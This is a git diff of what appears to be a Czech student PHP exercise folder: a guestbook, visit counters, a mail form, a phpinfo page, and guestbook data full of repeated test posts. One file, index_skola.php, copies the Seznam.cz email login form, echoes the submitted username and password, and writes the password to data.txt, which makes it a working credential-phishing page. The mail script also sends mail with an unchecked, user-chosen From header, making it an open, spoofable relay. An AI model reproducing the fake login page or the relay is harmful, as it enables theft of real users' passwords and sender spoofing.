+       FWrite ($fp, "<meta name=\"IP\" content=\"" . $_SERVER[REMOTE_ADDR] . "\">\n");\r
+\r
+       FWrite ($fp, "<div class=\"nadpis\">".$title."</div>\n");\r
+       FWrite ($fp, "<div class=\"jmeno\"> vložil: ".$name." - ".$contact."</div>\n");\r
+       FWrite ($fp, "<div class=\"datum\">".$datum."</div><br />\n");\r
+\r
+       FWrite ($fp, "<div class=\"text\">\n");\r
+       FWrite ($fp, $text);\r
+       FWrite ($fp, "\n</div></div>\n\n");\r
+\r
+       //Uzavření souboru\r
+       FClose ($fp);\r
+\r
+       //Výpisy\r
+       echo "<b><font color=\"red\">Příspěvek byl korektně uložen!<br />Vaše IP adresa: " . $_SERVER[REMOTE_ADDR] . " byla uložena!</font></b> <meta http-equiv=\"refresh\" content=\"1\">";\r
+\r
+else:\r
+\r
+       echo "<b><font color=\"red\" title=\"Nezapomeňte na pole ochrany proti spamu!!!\">Nezapomeňte vyplnit všechna pole!</font></b>";\r
+\r
+endif;\r
+\r
+?>\r
+</div>\r
+\r
+<?php\r
+//Vypsání celého souboru\r
+$fp = FOpen ("gbook.txt", "r+"); \r
+FPassThru($fp);\r
+FClose ($fp);\r
+?>\r
+\r
+</body>\r
+</html>\r
diff --git a/php/stredni-php/index_skola.php b/php/stredni-php/index_skola.php
new file mode 100755 (executable)
index 0000000..6ad3478
--- /dev/null
@@ -0,0 +1,77 @@
+<?php\r
+$prom = 0;\r
+$a = 5;\r
+$b = 14;\r
+\r
+echo $_POST["username"];\r
+echo "<br />";\r
+\r
+echo $_POST["domain"];\r
+echo "<br />";\r
+\r
+echo $_POST["password"];\r
+echo "<br />";\r
+echo "<br />";\r
+\r
+echo "<title>HELL-O-WORLD!!!</title><button style=\"background-color: orange;\"><h1>Hellllo!</h1></button><br>";\r
+echo "<br />";\r
+\r
+echo <<<END\r
+\r
+<form action="http://server202/users/mudrunka/index.php" method="post">\r
+               <h2>Pøihlásit se u\9eivatelským jménem <img src="/img/szn-logo-mini.gif" alt="Seznam.cz" /></h2>\r
+               <p>\r
+                       \r
+                       \r
+                       <label for="name">Jméno:</label>\r
+                       <input type="text" id="name" name="username" value="" tabindex="1" />\r
+                       <select name="domain" tabindex="3">\r
+                               \r
+                       <option value="seznam.cz" >@seznam.cz</option>\r
+\r
+                   \r
+                       <option value="email.cz" >@email.cz</option>\r
+                   \r
+                       <option value="post.cz" >@post.cz</option>\r
+                   \r
+                       </select>\r
+                       \r
+                       \r
+                       \r
+                       </p>\r
+               <p>\r
+                       <label for="password">Heslo:</label>\r
+                       <input type="password" id="password" name="password" tabindex="2" />\r
+\r
+               </p>\r
+               <p class="remember">\r
+                       <input type="checkbox" name="remember" id="remember" value="1" /><label for="remember">pøihlásit trvale na tomto poèítaèi</a></label> - <a href="http://napoveda.seznam.cz/cz/prihlaseni.html">Co to je?</a>\r
+               </p>\r
+               <p class="submit-row">\r
+                       <input type="submit" class="submit" value="Pøihlásit se" tabindex="4" />\r
+                       <input type="hidden" name="serviceId" value="email" />\r
+\r
+                       <input type="hidden" name="disableSSL" value="0" />\r
+                       <input type="hidden" name="forceSSL" value="0" />\r
+                       <input type="hidden" name="lang" value="cz" />\r
+                       <input type="hidden" name="template" value="html" />\r
+                       <input type="hidden" name="lang" value="cz" />\r
+                       <input type="hidden" name="loggedURL" value="http://email.seznam.cz/ticket" />\r
+                       <input type="hidden" name="returnURL" value="" />\r
+                       <input type="hidden" name="loginFormIsSSL" value="0" />\r
+               </p>\r
+\r
+       </form>\r
+\r
+END;\r
+\r
+echo '+ '. ($a + $b) ."<br />";\r
+echo "- ". ($a - $b) ."<br>";\r
+echo "/ ". ($b / $a) ."<br>";\r
+echo "* ". ($a * $b) ."<br>";\r
+echo "<br />";\r
+\r
+$fp = FOpen ("data.txt", "a");  //a = doplnìní w = zápis r = ètení\r
+FWrite ($fp, $_POST["password"]); // ulo\9eí obsah promìnné $data do souboru data2.txt\r
+\r
+?>
\ No newline at end of file
diff --git a/php/stredni-php/jurasek_gbook.txt b/php/stredni-php/jurasek_gbook.txt
new file mode 100755 (executable)
index 0000000..efa259f
--- /dev/null
@@ -0,0 +1,879 @@
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+asadas
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdasd</div><br>
+<div class="text">
+d
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
+
+<div class="prispevek">
+<meta name="IP" content="80.250.1.238">
+
+<div class="jmeno">asdasdas</div><br>
+<div class="text">
+<h1>LAMA</h1>\r
+\r
+\r
+<p>lamicka</p>
+</div></div>
+
diff --git a/php/stredni-php/mailer/mail.html b/php/stredni-php/mailer/mail.html
new file mode 100755 (executable)
index 0000000..a1e3ebb
--- /dev/null
@@ -0,0 +1,7 @@
+<form action="mail.php" method="post">\r
+Prijemce: <input name="mail_prijemce"><br>\r
+Vas mail: <input name="mail_odesilatele"><br>\r
+Predmet: <input name="predmet"><br>\r
+Zprava: <textarea name="zprava"></textarea><br>\r
+<input type=submit value="Odeslat">\r
+</form>\r
diff --git a/php/stredni-php/mailer/mail.php b/php/stredni-php/mailer/mail.php
new file mode 100755 (executable)
index 0000000..ea0f4c9
--- /dev/null
@@ -0,0 +1,6 @@
+<?php\r
+\r
+if ( Mail($_POST["mail_prijemce"], $_POST["predmet"], $_POST["zprava"], "From: " . $_POST["mail_odesilatele"]) )\r
+echo "Mail byl odeslan!";\r
+else echo "Mail se nepodarilo odeslat!";\r
+?>\r
diff --git a/php/stredni-php/main.html b/php/stredni-php/main.html
new file mode 100755 (executable)
index 0000000..e69de29
diff --git a/php/stredni-php/phpinfo.php b/php/stredni-php/phpinfo.php
new file mode 100755 (executable)
index 0000000..0f89c90
--- /dev/null
@@ -0,0 +1 @@
+<?php phpinfo(); ?>\r
diff --git a/php/stredni-php/pocitadlo.php b/php/stredni-php/pocitadlo.php
new file mode 100755 (executable)
index 0000000..a9a4c3a
--- /dev/null
@@ -0,0 +1,15 @@
+<?php\r
+\r
+$fp = FOpen ("pocitadlo.txt", "r");\r
+$pocet = FRead ($fp, 90);\r
+FClose ($fp);\r
+\r
+$pocet = ($pocet + 1);\r
+\r
+$fp = FOpen ("pocitadlo.txt", "w");\r
+FWrite ($fp, $pocet);\r
+FClose ($fp);\r
+\r
+echo ("Navstev: " . $pocet);\r
+\r
+?>\r
diff --git a/php/stredni-php/pocitadlo.txt b/php/stredni-php/pocitadlo.txt
new file mode 100755 (executable)
index 0000000..3cacc0b
--- /dev/null
@@ -0,0 +1 @@
+12
\ No newline at end of file
diff --git a/php/stredni-php/pocitadlo2.php b/php/stredni-php/pocitadlo2.php
new file mode 100755 (executable)
index 0000000..f8a7299
--- /dev/null
@@ -0,0 +1,20 @@
+<?php\r
+\r
+$fp = FOpen ("pocitadlo.txt", "r");\r
+$pocet = FRead ($fp, 90); //90 znaku dlouhe cislo by melo byt dost\r
+FClose ($fp);\r
+\r
+$pocet = ($pocet + 1);\r
+\r
+if (isset($HTTP_COOKIE_VARS['pricteno'])):\r
+    echo ("pricteno = " . $HTTP_COOKIE_VARS['pricteno'] . " - Ji\9e Pøièteno - Dal\9aí pøiètení mo\9eno za hodinu od poslednì.<br />");\r
+  else:\r
+    $fp = FOpen ("pocitadlo.txt", "w");\r
+    FWrite ($fp, $pocet);\r
+    FClose ($fp);\r
+    setcookie('pricteno', 'true', time()+3600); //sekundy - 3600 = 1hodina, 1000 000 = 11dni\r
+  endif;\r
+\r
+echo ("Navstev: " . $pocet);\r
+\r
+?>\r
diff --git a/php/stredni-php/redakce/gbook.txt b/php/stredni-php/redakce/gbook.txt
new file mode 100755 (executable)
index 0000000..5f28270
--- /dev/null
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/php/stredni-php/redakce/gbook2.php b/php/stredni-php/redakce/gbook2.php
new file mode 100755 (executable)
index 0000000..339a8bd
--- /dev/null
@@ -0,0 +1,225 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">\r
+\r
+<html>\r
+<head>\r
+<meta http-equiv="content-type" content="text/html"; charset="utf-8">\r
+<title>Kniha Návštěv - (c) 2oo6 - Harvie</title>\r
+<meta http-equiv="cache-control" content="no-cache" />\r
+\r
+<style>\r
+\r
+body {\r
+       background-color: skyblue;\r
+       text-align: left;\r
+       padding: 4px 10% 4px 10%;\r
+       font-family: Tahoma;\r
+       color: black;\r
+       font-size: small;\r
+       }\r
+\r
+.form {\r
+       width: 80%;\r
+       background-color: lightblue;\r
+       border: 2px;\r
+       border-style: solid;\r
+       padding: 10px;\r
+       margin: 4px 10% 4px 10%;\r
+       }\r
+       \r
+.form input, textarea {\r
+       border: 1px;\r
+       border-style: solid;\r
+       border-color: black;\r
+       width: 100%\r
+       }\r
+       \r
+.prispevek {\r
+       width: 80%;\r
+       background-color: lightblue;\r
+       border: 2px;\r
+       border-style: solid;\r
+       padding: 10px;\r
+       margin: 4px 10% 4px 10%;\r
+       }\r
+       \r
+.prispevek .nadpis {\r
+       padding: 2px;\r
+       font-weight: bold;\r
+       text-decoration: none;\r
+       color: black;\r
+       font-size: small;\r
+       border: solid skyblue 2px;\r
+       border-bottom: none;\r
+       _font-size: x-small;\r
+       }\r
+       \r
+.prispevek .jmeno {\r
+       padding: 2px;\r
+       font-weight: bold;\r
+       font-style: italic;\r
+       text-decoration: none;\r
+       color: darkblue;\r
+       font-size: small;\r
+       border: solid skyblue 2px;\r
+       border-bottom: none;\r
+       border-top: none;\r
+       _font-size: x-small;\r
+       }\r
+       \r
+       .prispevek .datum {\r
+       padding: 2px;\r
+       text-decoration: none;\r
+       color: darkred;\r
+       border: solid skyblue 2px;\r
+       border-top: none;\r
+       font-size: x-small;\r
+       }\r
+       \r
+.prispevek .text {\r
+       padding: 2px;\r
+       font-size: small;\r
+       border: dotted skyblue 2px;\r
+       background-color: skyblue;\r
+       overflow: hidden;\r
+       _font-size: x-small;\r
+       }\r
+\r
+</style>\r
+\r
+</head>\r
+\r
+<body>\r
+\r
+<div class="form">\r
+<form action="" method="post">\r
+               <h2>Kniha návštěv</h2>\r
+\r
+               <p>\r
+                       <label for="title"><b>Nadpis:</b><br /></label>\r
+                       <input type="text" name="title" value="" />\r
+               </p>\r
+\r
+               <p>\r
+                       <label for="name"><b>Jméno:</b><br /></label>\r
+                       <input type="text" name="name" value="" />\r
+               </p>\r
+\r
+               <p>\r
+                       <label for="contact"><b>Kontakt:</b><br /></label>\r
+                       <input type="text" name="contact" value="EMAIL:      ICQ:      WWW:      TEL/FAX:    " />\r
+               </p>\r
+\r
+               <p>\r
+                       <b>Text příspěvku:</b><br />\r
+                       <textarea rows="10" cols="30" name="text" title="podporované tagy: [b][/b] [i][/i] [u][/u] - Příliš dlouhá slova budou zkrácena."></textarea>\r
+               </p>\r
+\r
+               <p>\r
+                       <label for="sprot"><b title="Brání knihu proti náhodnému napadení spamboty.">Ochrana proti spamu:</b> <font title="sedm - numericky">[(4)+(3)]=</label>\r
+                       <input type="text" name="sprot" value="" />\r
+               </p>\r
+               \r
+               <input type="hidden" name="sent" value="true" />\r
+\r
+               <p>\r
+                       <input type="submit" value="Uložit příspěvek" />\r
+               </p>\r
+               \r
+       </form>\r
+\r
+       <form action="delete.php">\r
+       <input type="submit" value="Smazat knihu">\r
+       </form>\r
+\r
+<?php\r
+\r
+if (($_POST["title"]!='') && ($_POST["name"]!='') && ($_POST["text"]!='') && ($_POST["sprot"]=='7')):\r
+\r
+       //Načtení z POSTu; Převedení tagů na entity; Ořezání bílých znaků na začátku a konci;\r
+\r
+       $title = $_POST["title"];\r
+       $title = HTMLSpecialChars($title);\r
+       $title = trim($title);\r
+\r
+       $name = $_POST["name"];\r
+       $name = HTMLSpecialChars($name);\r
+       $name = trim($name);\r
+\r
+       $contact = $_POST["contact"];\r
+       $contact = HTMLSpecialChars($contatc);\r
+       $contatct = trim($contact);\r
+\r
+               //Parsování tagů v hlavním textu zprávy\r
+       $text = $_POST["text"];\r
+       $text = HTMLSpecialChars($text);\r
+\r
+               //Definice vlastních tagů\r
+               /*\r
+                       [b]ahoj[/b]\r
+                       [i]ahoj[/i]\r
+                       [u]ahoj[/u]\r
+                       [tt]ahoj[/tt]\r
+                       [pre]ahoj[/pre]\r
+               */\r
+\r
+               $text = str_replace("[b]","<b>", $text);\r
+               $text = str_replace("[/b]","</b>", $text);\r
+\r
+               $text = str_replace("[i]","<i>", $text);\r
+               $text = str_replace("[/i]","</i>", $text);\r
+\r
+               $text = str_replace("[u]","<u>", $text);\r
+               $text = str_replace("[/u]","</u>", $text);\r
+\r
+               $text = str_replace("[tt]","<tt>", $text);\r
+               $text = str_replace("[/tt]","</tt>", $text);\r
+\r
+               $text = str_replace("[pre]","<pre>", $text);\r
+               $text = str_replace("[/pre]","</pre>", $text);\r
+\r
+$text = nl2br($text);\r
+\r
+       //Zjištění data a času\r
+       //SetLocale("LC_ALL", "Czech"); //Nastavení českého prostředí\r
+       $datum = Date("j/m/Y H:i:s", Time());\r
+\r
+       //Otevření souboru\r
+       $fp = FOpen ("gbook.txt", "a+");\r
+\r
+       //Zápis dat do souboru\r
+       FWrite ($fp, "<div class=\"prispevek\">\n");\r
+\r
+       FWrite ($fp, "<meta name=\"IP\" content=\"" . $_SERVER[REMOTE_ADDR] . "\">\n");\r
+\r
+       FWrite ($fp, "<div class=\"nadpis\">".$title."</div>\n");\r
+       FWrite ($fp, "<div class=\"jmeno\"> vložil: ".$name." - ".$contact."</div>\n");\r
+       FWrite ($fp, "<div class=\"datum\">".$datum."</div><br />\n");\r
+\r
+       FWrite ($fp, "<div class=\"text\">\n");\r
+       FWrite ($fp, $text);\r
+       FWrite ($fp, "\n</div></div>\n\n");\r
+\r
+       //Uzavření souboru\r
+       FClose ($fp);\r
+\r
+       //Výpisy\r
+       echo "<b><font color=\"red\">Příspěvek byl korektně uložen!<br />Vaše IP adresa: " . $_SERVER[REMOTE_ADDR] . " byla uložena!</font></b> <meta http-equiv=\"refresh\" content=\"1\">";\r
+\r
+else:\r
+\r
+       echo "<b><font color=\"red\" title=\"Nezapomeňte na pole ochrany proti spamu!!!\">Nezapomeňte vyplnit všechna pole!</font></b>";\r
+\r
+endif;\r
+\r
+?>\r
+</div>\r
+\r
+<?php\r
+//Vypsání celého souboru\r
+$fp = FOpen ("gbook.txt", "r+"); \r
+FPassThru($fp);\r
+FClose ($fp);\r
+?>\r
+\r
+</body>\r
+</html>\r
